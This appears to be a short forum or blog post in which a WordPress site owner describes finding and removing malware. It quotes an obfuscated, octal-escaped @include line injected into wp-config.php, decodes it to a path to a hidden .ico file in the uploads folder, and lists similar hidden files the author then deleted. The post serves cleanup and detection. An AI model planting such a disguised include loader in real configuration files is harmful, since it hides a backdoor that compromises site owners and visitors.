I've looked into my wp-config.php and I saw
/*eaee7*/
@include "\057ho\155e/\165bu\156tu\057we\142si\164es\057em\145rs\157nb\162og\141.c\157m/\160ub\154ic\057wp\055co\156te\156t/\165pl\157ad\163/2\06015\057.5\0623d\06666\141.i\143o";
/*eaee7*/
Then I converted to
/*eaee7*/
@include "/home/ubuntu/websites/emersonbroga.com/public/wp-content/uploads/2015/.523d666a.ico";
/*eaee7*/
which is a path to a file in the uploads folder that has the ico extention.
Then I've made a search for *.ico
files in the uploads folder and found
./2014/.70b271c8.ico
./2012/.7007bafc.ico
./2017/.3c0c2b93.ico
./2011/.8ff033dd.ico
I've removed those.